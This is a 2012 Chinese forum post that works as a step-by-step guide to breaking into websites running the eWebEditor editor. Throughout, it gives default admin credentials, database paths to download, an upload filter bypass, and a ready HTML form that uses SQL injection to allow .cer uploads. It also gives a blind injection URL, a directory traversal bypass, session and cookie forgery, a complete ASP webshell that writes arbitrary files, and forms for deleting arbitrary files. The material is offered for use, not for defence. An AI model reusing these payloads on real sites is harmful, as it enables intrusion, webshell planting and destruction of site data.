happyxp 发表于 2012-8-26 18:58:47

<p><font face="Verdana">ewebeditor漏洞利用总结<br/>&nbsp;&nbsp;&nbsp;&nbsp; 先从最基本的记录起!通常入侵ewebeditor编辑器的步骤如下:<br/>1、首先访问默认管理页看是否存在。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp (各种语言的大家自己改后缀,本文就以asp来进行说明,下面不再细说了!)<br/>2、默认管理帐号密码!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 默认管理页存在!我们就用帐号密码登陆!默认帐号密码为: admin admin888 !常用的密码还有admin admin999 admin1 admin000 之类的。<br/>3、默认数据库地址。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果密码不是默认的。我们就访问是不是默认数据库!尝试下载数据库得到管理员密码!管理员的帐号密码,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。得到了加密密码。可以去www.cmd5.com www.xmd5.org 等网站进行查询!暴力这活好久不干了!也可以丢国外一些可以跑密码的网站去跑!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 默认数据库路径为: ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 很多管理员常改.asp后缀,一般访问.asp .asa 后缀的 都是乱码!可以用下载工具下载下来,然后更改后缀为.mdb 来查看内容!<br/>4、说说漏洞基本利用步骤,还以asp为例!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 登陆后台以后。选择样式管理,默认编辑器的默认样式都不可以修改的。我们可以从任意样式新建一个样式,然后在图片上传添加可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。但是我们可以用.asaspp 后缀来添加,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不详细说了。总之是个很可笑的过滤!同样,如果遇到一个管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都完全禁止了,我们也可以用.asasaa 后缀来突破。添加完了后缀,可以在样式管理,点击预览,然后上传!<br/>5、默认管理页不存在!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在实际入侵过程中,有很多默认的管理页不存在的时候。我们可以直接访问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。然后构造上传!具体url如下: eWebEditor/ewebeditor.asp?id=content&amp;style=www 红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改!<br/>6、ewebeditor的几个版本存在注入!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&amp;style=Full_v200 !<br/>添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ewebeditor v2.1.6存在注入,可以用union select 添加上传后缀进行上传!先贴漏洞利用方式!<br/>--------------------------------------------------------------------------------------------------------------<br/>&lt;H3&gt;ewebeditor asp版 2.1.6 上传漏洞利用程序----&lt;/H3&gt;&lt;br&gt;&lt;br&gt;<br/>&lt;form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&amp;type=IMAGE&amp;style=standard'union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, %2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"&gt;<br/>&lt;input type=file name=uploadfile size=100&gt;&lt;br&gt;&lt;br&gt;<br/>&lt;input type=submit value=Fuck&gt;<br/>&lt;/form&gt;<br/>--------------------------------------------------------------------------------------------------------------<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以上代码令存为html!修改红色部分的路径,然后自动上传 .cer 文件!漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入"|cer"、"|asa"等!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!具体利用如下:<br/>ewebeditor/Upload.asp?type=FILE&amp;style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)&gt;98%20and%20'1'='1 <br/>注意修改红色部分的字段名、位数、ascii码的值!<br/>7、目录遍历漏洞!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&amp;dir=../.. <br/>类似如下:webeditor/admin_uploadfile.asp?id=14&amp;dir=../../../../data/ 可以看到网站数据库的路径!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp<br/>漏洞代码为 :<br/>Function GetList() <br/>Dim s_List, s_Url <br/>s_List = "" <br/>Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName <br/>'Response.Write sCurrDir <br/>'On Error Resume Next <br/>Set oFSO = Server.CreateObject("Scripting.FileSystemObject") <br/>Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) <br/>'注意一下sCurrDir变量,这个值等下我们可以用到 <br/>If Err.Number&gt;0 Then <br/>s_List = "" <br/>Exit Function <br/>End If<br/>&nbsp;<br/>If sDir &lt;&gt; "" Then <br/>If InstrRev(sDir, "/") &gt; 1 Then <br/>s_Url= Left(sDir, InstrRev(sDir, "/") - 1) <br/>Else <br/>s_Url = "" <br/>End If<br/>&nbsp;<br/>s_List = s_List &amp; "" &amp; _ <br/>"" &amp; _ <br/>".." &amp; _ <br/>" " &amp; _ <br/>"" <br/>End If <br/>'Response.Write sDir&amp;"!"&amp;s_List<br/>&nbsp;<br/>Dim oSubFolder <br/>For Each oSubFolder In oUploadFolder.SubFolders <br/>'Response.Write oUploadFolder.SubFolders <br/>If sDir = "" Then <br/>s_Url = oSubFolder.Name <br/>Else <br/>s_Url = sDir &amp; "/" &amp; oSubFolder.Name <br/>End If <br/>s_List = s_List &amp; "" &amp; _ <br/>"" &amp; _ <br/>"" &amp; oSubFolder.Name &amp; "" &amp; _ <br/>" " &amp; _ <br/>"" <br/>Next <br/>'Response.Write s_List<br/>&nbsp;<br/>Set oUploadFiles = oUploadFolder.Files<br/>&nbsp;<br/>For Each oUploadFile In oUploadFiles <br/>'Response.Write oUploadFile.Name <br/>sFileName = oUploadFile.Name <br/>If CheckValidExt(sFileName) = True Then <br/>'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 <br/>If sDir = "" Then <br/>s_Url = sContentPath &amp; sFileName <br/>Else <br/>s_Url = sContentPath &amp; sDir &amp; "/" &amp; sFileName <br/>End If<br/>&nbsp;<br/>s_List = s_List &amp; "" &amp; _ <br/>"" &amp; FileName2Pic(sFileName) &amp; "" &amp; _ <br/>"" &amp; sFileName &amp; "" &amp; _ <br/>"" &amp; GetSizeUnit(oUploadFile.size) &amp; "" &amp; _ <br/>"" <br/>End If <br/>Next <br/>Set oUploadFolder = Nothing <br/>Set oUploadFiles = Nothing <br/>'Response.Write Server.HTMLEncode(s_List)&amp;"!"&amp;s_Url<br/>&nbsp;<br/>If sDir = "" Then <br/>s_Url = "" <br/>'s_Url = "/" <br/>Else <br/>s_Url = "/" &amp; sDir &amp; "" <br/>'s_Url = "/" &amp; sDir &amp; "/" <br/>End If<br/>&nbsp;<br/>s_List = s_List &amp; "" <br/>s_List = HTML2JS(s_List) <br/>'Response.Write Server.HTMLEncode(s_List)&amp;"!"&amp;s_Url <br/>s_List = "parent.setDirList(""" &amp; s_List &amp; """, """ &amp; s_Url &amp; """)" <br/>GetList = s_List <br/>End Function <br/>'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 <br/>Function CheckValidExt(s_FileName) <br/>If sAllowExt = "" Then <br/>CheckValidExt = True <br/>Exit Function <br/>End If<br/>&nbsp;<br/>Dim i, aExt, sExt <br/>sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1)) <br/>CheckValidExt = False <br/>aExt = Split(LCase(sAllowExt), "|") <br/>For i = 0 To UBound(aExt) <br/>If aExt(i) = sExt Then <br/>CheckValidExt = True <br/>Exit Function <br/>End If <br/>Next <br/>End Function <br/>'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 <br/>Sub InitParam() <br/>sType = UCase(Trim(Request.QueryString("type"))) <br/>sStyleName = Trim(Request.QueryString("style"))<br/>&nbsp;<br/>Dim i, aStyleConfig, bValidStyle <br/>bValidStyle = False <br/>For i = 1 To Ubound(aStyle) <br/>aStyleConfig = Split(aStyle(i), "|||") <br/>If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then <br/>bValidStyle = True <br/>Exit For <br/>End If <br/>Next<br/>&nbsp;<br/>If bValidStyle = False Then <br/>OutScript("alert('Invalid Style.')") <br/>End If<br/>&nbsp;<br/>sBaseUrl = aStyleConfig(19) <br/>'nAllowBrowse = CLng(aStyleConfig(43)) <br/>nAllowBrowse = 1<br/>&nbsp;<br/>If nAllowBrowse &lt;&gt; 1 Then <br/>OutScript("alert('Do not allow browse!')") <br/>End If<br/>&nbsp;<br/>sUploadDir = aStyleConfig(3) <br/>If Left(sUploadDir, 1) &lt;&gt; "/" Then <br/>Select Case sType <br/>Case "REMOTE" <br/>sUploadDir = "../../" &amp; sUploadDir &amp; "Image/" <br/>Case "FILE" <br/>sUploadDir = "../../" &amp; sUploadDir &amp; "Other/" <br/>Case "MEDIA" <br/>sUploadDir = "../../" &amp; sUploadDir &amp; "Media/" <br/>Case "FLASH" <br/>sUploadDir = "../../" &amp; sUploadDir &amp; "Flash/" <br/>Case Else <br/>sUploadDir = "../../" &amp; sUploadDir &amp; "Image/" <br/>End Select <br/>End If <br/>'sUploadDir =sUploadDir &amp;"/"<br/>&nbsp;<br/>Select Case sBaseUrl <br/>Case "0" <br/>'sContentPath = aStyleConfig(23) <br/>Select Case sType <br/>Case "REMOTE" <br/>sC &amp; aStyleConfig(3) &amp; "Image/" <br/>Case "FILE" <br/>sC &amp; aStyleConfig(3) &amp; "Other/" <br/>Case "MEDIA" <br/>sC &amp; aStyleConfig(3) &amp; "Media/" <br/>Case "FLASH" <br/>sC &amp; aStyleConfig(3) &amp; "Flash/" <br/>Case Else <br/>sC &amp; aStyleConfig(3) &amp; "Image/" <br/>End Select <br/>Case "1" <br/>sContentPath = RelativePath2RootPath(sUploadDir) <br/>Case "2" <br/>sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) <br/>End Select<br/>&nbsp;<br/>Select Case sType <br/>Case "REMOTE" <br/>sAllowExt = aStyleConfig(10) <br/>Case "FILE" <br/>sAllowExt = aStyleConfig(6) <br/>Case "MEDIA" <br/>sAllowExt = aStyleConfig(9) <br/>Case "FLASH" <br/>sAllowExt = aStyleConfig(7) <br/>Case Else <br/>sAllowExt = aStyleConfig(8) <br/>End Select<br/>&nbsp;<br/>sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 <br/>sDir = Trim(Request("dir")) '得到dir变量 <br/>sDir = Replace(sDir, "\", "/") '对dir变量进行过滤 <br/>sDir = Replace(sDir, "../", "") <br/>sDir = Replace(sDir, "./", "") <br/>If sDir &lt;&gt; "" Then <br/>If CheckValidDir(Server.Mappath(sUploadDir &amp; sDir)) = True Then <br/>sCurrDir = sUploadDir &amp; sDir &amp; "/" <br/>'重点就在这里了,看到没有,当sUploadDir &amp; sDir存在的时候,sCurrDir就为sUploadDir &amp; sDir的值了 <br/>'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出 <br/>Else <br/>sDir = "" <br/>End If <br/>End If<br/>End Sub<br/>利用方式如下:<br/>http://site/ewebeditor/asp/browse.asp?style=standard650&amp;dir=…././/…././/admin<br/>这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了! <br/>8、session欺骗漏洞!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下: <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 新建一个.asp文件,内容如下: &lt;%Session("eWebEditor_User") = "123132323"%&gt; 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了!<br/>9、 后台跳过认证漏洞!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入<br/>javascript:alert(document.cookie="adminuser="+escape("admin")); <br/>javascript:alert(document.cookie="adminpass="+escape("admin")); <br/>javascript:alert(document.cookie="admindj="+escape("1"));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!<br/>10、利用远程上传功能!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 利用代码如下:<br/>首先建立1.gif.asp 代码如下<br/>&lt;%<br/>Set fs = CreateObject("Scripting.FileSystemObject")<br/>Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)<br/>Thetext=MyTextStream.ReadAll<br/>response.write thetext<br/>%&gt;<br/>在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:<br/>&lt;%on error resume next%&gt;<br/>&lt;%ofso="scripting.filesystemobject"%&gt;<br/>&lt;%set fso=server.createobject(ofso)%&gt;<br/>&lt;%path=request("path")%&gt;<br/>&lt;%if path&lt;&gt;"" then%&gt;<br/>&lt;%data=request("dama")%&gt;<br/>&lt;%set dama=fso.createtextfile(path,true)%&gt;<br/>&lt;%dama.write data%&gt;<br/>&lt;%if err=0 then%&gt;<br/>&lt;%="success"%&gt;<br/>&lt;%else%&gt;<br/>&lt;%="false"%&gt;<br/>&lt;%end if%&gt;<br/>&lt;%err.clear%&gt;<br/>&lt;%end if%&gt;<br/>&lt;%dama.close%&gt;<br/>&lt;%set dama=nothing%&gt;<br/>&lt;%set fos=nothing%&gt;<br/>&lt;%="&lt;form action='' method=post&gt;"%&gt;<br/>&lt;%="&lt;input type=text name=path&gt;"%&gt;<br/>&lt;%="&lt;br&gt;"%&gt;<br/>&lt;%=server.mappath(request.servervariables("script_name"))%&gt;<br/>&lt;%="&lt;br&gt;"%&gt;<br/>&lt;%=""%&gt;<br/>&lt;%="&lt;textarea name=dama cols=50 rows=10 width=30&gt;&lt;/textarea&gt;"%&gt;<br/>&lt;%="&lt;br&gt;"%&gt;<br/>&lt;%="&lt;input type=submit value=save&gt;"%&gt;<br/>&lt;%="&lt;/form&gt;"%&gt;<br/>利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的安全设置!<br/>11、任意文件删除漏洞!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码<br/>' 把带"|"的字符串转为数组<br/>Dim aSavePathFileName<br/>aSavePathFileName = Split(sSavePathFileName, "|")<br/>' 删除新闻相关的文件,从文件夹中<br/>Dim i<br/>For i = 0 To UBound(aSavePathFileName)<br/>' 按路径文件名删除文件<br/>Call DoDelFile(aSavePathFileName(i))<br/>Next<br/>而aSavePathFileName是前面从数据库取出来的:<br/>sSavePathFileName = oRs("D_SavePathFileName")<br/>看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))<br/>...<br/>oRs("D_SavePathFileName") = sSavePathFileName<br/>&nbsp;<br/>居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:<br/>Function GetSafeStr(str)<br/>GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")<br/>End Function<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:<br/>&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;eWebEditor删除文件 byldjun(&gt;<br/>新闻列表%20|%20增加新闻<br/>增加新闻<br/>http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" <br/>method="post" name="myform"&gt;<br/>&nbsp;&nbsp;&nbsp; &lt;input type=hidden name=d_originalfilename&gt;<br/>&nbsp;&nbsp;&nbsp; &lt;input type=hidden name=d_savefilename&gt;<br/>&nbsp;&nbsp;&nbsp; &lt;table cellspacing=3 align=center&gt;<br/>&lt;tr&gt;&lt;td&gt;要删的文件(相对路径就可以了):&lt;/td&gt;<br/>&lt;td&gt;&lt;input type="text" name="d_savepathfilename" value="" size="90"&gt;&lt;/td&gt;<br/>&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td&gt;新闻标题(随便填):&lt;/td&gt;<br/>&lt;td&gt;&lt;input type="text" name="d_title" value="" size="90"&gt;&lt;/td&gt;<br/>&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td&gt;标题图片:&lt;/td&gt;<br/>&lt;td&gt;&lt;select name="d_picture" size=1&gt;&lt;option value=''&gt;无&lt;/option&gt;&lt;/select&gt;<br/>当编辑区有插入图片时,将自动填充此下拉框&lt;/td&gt;<br/>&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td&gt;新闻内容(随便填):&lt;/td&gt;<br/>&lt;td&gt;&lt;textarea name="d_content"&gt;&lt;/textarea&gt;&lt;/td&gt;<br/>&lt;/tr&gt;<br/>&lt;/table&gt;<br/>&lt;input type=submit name=btnSubmit value=" 提 交 "&gt; <br/>&lt;input type=reset name=btnReset value=" 重 填 "&gt;<br/>&lt;/form&gt;<br/>&lt;/BODY&gt;&lt;/HTML&gt; <br/>删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历<br/>&lt;a href='list.asp'&gt;中的list.asp地址要修改<br/>&lt;a href='add.asp'&gt;中的add.asp地址要修改<br/>&lt;form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"<br/>(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 另外一个简单利用方式:<br/>&lt;form action="http://www.xxxbing.com/editor/example/newssystem/addsave.asp" method="post"&gt;<br/>&lt;input type=hidden name=d_originalfilename value="x"&gt;<br/>&lt;input type=hidden name=d_savefilename value="x"&gt;<br/>要删除的文件(相对路径,多个文件用“|”隔开)&lt;br&gt;<br/>&lt;input type=text name=d_savepathfilename&gt;<br/>&lt;input type=hidden name="d_title" value="x"&gt;<br/>&lt;input type=hidden name="d_picture" value="x"&gt;<br/>&lt;textarea name="d_content"&gt;x&lt;/textarea&gt;<br/>&lt;input type=submit name=btnSubmit value="submit"&gt;<br/>&lt;/form&gt;<br/>&nbsp;<br/>然后得到返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有几个版本的ewebeditor 上传类型是在 security.asp 文件控制的!直接删除该文件可以上传任意webshell! <br/>12、其他!<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其他说点什么呢!以上的办法都是本人经验和网上搜集!暂时就想到这些了,以后想到了再补全!说说aspx php jsp版本的利用吧!<br/>ASPX版:<br/>受影响文件:eWebEditorNet/upload.aspx<br/>利用方法:添好本地的cer的Shell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....<br/>PHP版本:PhP版本和asp版本利用方式类似!不过php权限较高,不多废话了!<br/>jsp版本:网上有很多jsp的版本,根本没有对上传文件类型进行检测!需要注意的是jsp版本的没有上传按钮!直接选择文件,回车就可以提交了!</font></p>
[此贴子已经被作者于2012-9-27 15:40:17编辑过]
页: [1]
查看完整版本: ewebeditor漏洞总结